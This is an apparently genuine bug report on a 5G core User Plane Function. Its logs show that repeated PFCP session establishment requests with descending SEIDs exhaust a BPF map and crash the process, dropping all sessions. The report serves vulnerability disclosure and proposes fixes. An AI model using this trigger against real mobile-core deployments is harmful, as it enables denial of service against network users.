[2025-12-10 17:29:20.229] [upf_n4 ] [info] pfcp_session::add(pdr) seid 0x7 
[2025-12-10 17:29:20.229] [upf_app] [info] Establish datapath: create(pdr(s) & far(s))
[2025-12-10 17:29:20.229] [upf_app] [debug] sessionManager::createBpfSession() seid 0x7 
[2025-12-10 17:29:20.229] [upf_app] [debug] Processing PDR 1 on establishment
[2025-12-10 17:29:20.229] [upf_app] [warning] UE IP Address is missing for PDR 1
[2025-12-10 17:29:20.229] [upf_app] [debug] The key is updated in the map: m_session_mapping
[2025-12-10 17:29:20.229] [upf_app] [debug] Missing qer for pdr 1
[2025-12-10 17:29:20.229] [upf_app] [debug] The key is updated in the map: m_rules_match_pdr
[2025-12-10 17:29:20.229] [upf_app] [debug] SDF Filter Lengh (0)
[2025-12-10 17:29:20.229] [upf_app] [debug] The key is updated in the map: m_session_pdrs
[2025-12-10 17:29:20.229] [upf_app] [debug] Session seid 0x7 successfully created

+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| PFCP switch Packet Detection Rule list ordered by established sessions:                                                                                                                          |
+----------------+----+--------+--------+------------+---------------------------------------+----------------------+----------------+-------------------------------------------------------------+
|  SEID          |pdr |  far   |predence|   action   |        create outer hdr         tun id| rmv outer hdr  tun id|    UE IPv4     |                                                             |
+----------------+----+--------+--------+------------+---------------------------------------+----------------------+----------------+-------------------------------------------------------------+
|0000000000000001|0001|00000001|00000020|ACC>---->COR|none                                   |none                  ||
+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+

|0000000000000002|0001|00000001|00000020|ACC>---->COR|none                                   |none                  ||
+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+

|0000000000000003|0001|00000001|00000020|ACC>---->COR|none                                   |none                  ||
+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+

|0000000000000004|0001|00000001|00000020|ACC>---->COR|none                                   |none                  ||
+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+

|0000000000000005|0001|00000001|00000020|ACC>---->COR|none                                   |none                  ||
+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+

|0000000000000006|0001|00000001|00000020|ACC>---->COR|none                                   |none                  ||
+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+

|0000000000000007|0001|00000001|00000020|ACC>---->COR|none                                   |none                  ||
+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+

[2025-12-10 17:29:20.229] [upf_app] [debug] (upf_n6_ip, dn_ip ) : (192.168.70.240, 127.0.0.1) For PDR 1
[2025-12-10 17:29:20.229] [upf_app] [debug]  same subnet
[2025-12-10 17:29:20.229] [upf_app] [error] Error: The ARP table was not updated for N6 Next HOP
[2025-12-10 17:29:20.330] [upf_n4 ] [info] handle_receive(133 bytes)
[2025-12-10 17:29:20.330] [upf_app] [info] Received N4_SESSION_ESTABLISHMENT_REQUEST seid 0xfffffffffffffff8 
[2025-12-10 17:29:20.330] [upf_n4 ] [info] pfcp_session::add(far) seid 0x8 
[2025-12-10 17:29:20.330] [upf_n4 ] [info] TEID received from CP
[2025-12-10 17:29:20.330] [upf_n4 ] [info] pfcp_session::add(pdr) seid 0x8 
[2025-12-10 17:29:20.330] [upf_app] [info] Establish datapath: create(pdr(s) & far(s))
[2025-12-10 17:29:20.330] [upf_app] [debug] sessionManager::createBpfSession() seid 0x8 
[2025-12-10 17:29:20.330] [upf_app] [debug] Processing PDR 1 on establishment
[2025-12-10 17:29:20.330] [upf_app] [warning] UE IP Address is missing for PDR 1
[2025-12-10 17:29:20.330] [upf_app] [debug] The key is updated in the map: m_session_mapping
[2025-12-10 17:29:20.330] [upf_app] [debug] Missing qer for pdr 1
[2025-12-10 17:29:20.330] [upf_app] [debug] The key is updated in the map: m_rules_match_pdr
[2025-12-10 17:29:20.330] [upf_app] [debug] SDF Filter Lengh (0)
[2025-12-10 17:29:20.330] [upf_app] [debug] The key is updated in the map: m_session_pdrs
[2025-12-10 17:29:20.330] [upf_app] [debug] Session seid 0x8 successfully created

+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| PFCP switch Packet Detection Rule list ordered by established sessions:                                                                                                                          |
+----------------+----+--------+--------+------------+---------------------------------------+----------------------+----------------+-------------------------------------------------------------+
|  SEID          |pdr |  far   |predence|   action   |        create outer hdr         tun id| rmv outer hdr  tun id|    UE IPv4     |                                                             |
+----------------+----+--------+--------+------------+---------------------------------------+----------------------+----------------+-------------------------------------------------------------+
|0000000000000001|0001|00000001|00000020|ACC>---->COR|none                                   |none                  ||
+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+

|0000000000000002|0001|00000001|00000020|ACC>---->COR|none                                   |none                  ||
+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+

|0000000000000003|0001|00000001|00000020|ACC>---->COR|none                                   |none                  ||
+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+

|0000000000000004|0001|00000001|00000020|ACC>---->COR|none                                   |none                  ||
+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+

|0000000000000005|0001|00000001|00000020|ACC>---->COR|none                                   |none                  ||
+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+

|0000000000000006|0001|00000001|00000020|ACC>---->COR|none                                   |none                  ||
+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+

|0000000000000007|0001|00000001|00000020|ACC>---->COR|none                                   |none                  ||
+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+

|0000000000000008|0001|00000001|00000020|ACC>---->COR|none                                   |none                  ||
+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+

[2025-12-10 17:29:20.330] [upf_app] [debug] (upf_n6_ip, dn_ip ) : (192.168.70.240, 127.0.0.1) For PDR 1
[2025-12-10 17:29:20.330] [upf_app] [debug]  same subnet
[2025-12-10 17:29:20.330] [upf_app] [error] Error: The ARP table was not updated for N6 Next HOP
[2025-12-10 17:29:20.431] [upf_n4 ] [info] handle_receive(133 bytes)
[2025-12-10 17:29:20.431] [upf_app] [info] Received N4_SESSION_ESTABLISHMENT_REQUEST seid 0xfffffffffffffff7 
[2025-12-10 17:29:20.431] [upf_n4 ] [info] pfcp_session::add(far) seid 0x9 
[2025-12-10 17:29:20.431] [upf_n4 ] [info] TEID received from CP
[2025-12-10 17:29:20.431] [upf_n4 ] [info] pfcp_session::add(pdr) seid 0x9 
[2025-12-10 17:29:20.431] [upf_app] [info] Establish datapath: create(pdr(s) & far(s))
[2025-12-10 17:29:20.431] [upf_app] [debug] sessionManager::createBpfSession() seid 0x9 
[2025-12-10 17:29:20.431] [upf_app] [debug] Processing PDR 1 on establishment
[2025-12-10 17:29:20.431] [upf_app] [warning] UE IP Address is missing for PDR 1
[2025-12-10 17:29:20.431] [upf_app] [debug] The key is updated in the map: m_session_mapping
[2025-12-10 17:29:20.431] [upf_app] [debug] Missing qer for pdr 1
[2025-12-10 17:29:20.431] [upf_app] [debug] The key is updated in the map: m_rules_match_pdr
[2025-12-10 17:29:20.431] [upf_app] [debug] SDF Filter Lengh (0)
[2025-12-10 17:29:20.431] [upf_app] [debug] (upf_n6_ip, dn_ip ) : (192.168.70.240, 127.0.0.1) For PDR 1
[2025-12-10 17:29:20.431] [upf_app] [debug]  same subnet
[2025-12-10 17:29:20.431] [upf_app] [error] Error: The ARP table was not updated for N6 Next HOP
[2025-12-10 17:29:20.431] [upf_app] [error] The key cannot be updated in map: m_session_pdrs (errno: 7, Argument list too long)
terminate called after throwing an instance of 'std::runtime_error'
  what():  The BPF map cannot be updated
[2025-12-10 17:29:20.436] [upf_app] [debug] There are some programs in LINKED state
[2025-12-10 17:29:20.436] [upf_app] [debug] BPF program xdp_handle_uplink is in a HOOKED state
terminate called recursively
[2025-12-10 17:29:20.436] [upf_app] [info] BPF program xdp_handle_uplink unlink to 2 interface
[2025-12-10 17:29:20.436] [upf_app] [debug] BPF program xdp_handle_shaping are not link to any interface
[2025-12-10 17:29:20.436] [upf_app] [debug] BPF program xdp_handle_downlink is in a HOOKED state
[2025-12-10 17:29:20.437] [upf_app] [info] BPF program xdp_handle_downlink unlink to 3 interface
[2025-12-10 17:29:20.437] [system ] [info] Caught signal 11
[2025-12-10 17:29:20.437] [common] [info] Waiting ITTI tasks closed
[2025-12-10 17:29:20.437] [asc_cmd] [info] Received terminate message
[2025-12-10 17:29:20.437] [upf_n4 ] [info] Received terminate message

Expected Behaviour

The SEID in F-SEID IE should be validated before use (e.g. reject seid == 0 and clearly out-of-range/sentinel values such as UINT64_MAX).When creating new sessions and installing datapath state, the implementation should: Check resource limits (max number of sessions, BPF map capacity, etc.) before updating BPF maps, and On resource exhaustion (e.g. bpf_map_update_elem() failure), handle the error gracefully:

  • Translate it into an appropriate PFCP response (e.g. Cause=ResourcesNotAvailable),
  • Do not create the new session, and Do not crash the process.

Observed Behaviour

  • Each Session Establishment Request with a distinct SEID in F-SEID IE causes the UPF to create a new PFCP session and install BPF state. After a relatively small number of such sessions (e.g. around 9 in the reproduced setup), the BPF map update for m_session_pdrs fails with errno = E2BIG (Argument list too long). BPFMap::update() converts this into std::runtime_error("The BPF map cannot be updated"), which is not caught, so:
  • The UPF process terminates, crashing all existing sessions (DoS).
  • This can be triggered both with “invalid”-looking SEIDs (e.g. starting from UINT64_MAX and decrementing) and with many distinct “valid” SEIDs; the core issue is unbounded session creation + lack of safe handling for resource limits in BPF map updates.
Edited by Ziyu Lin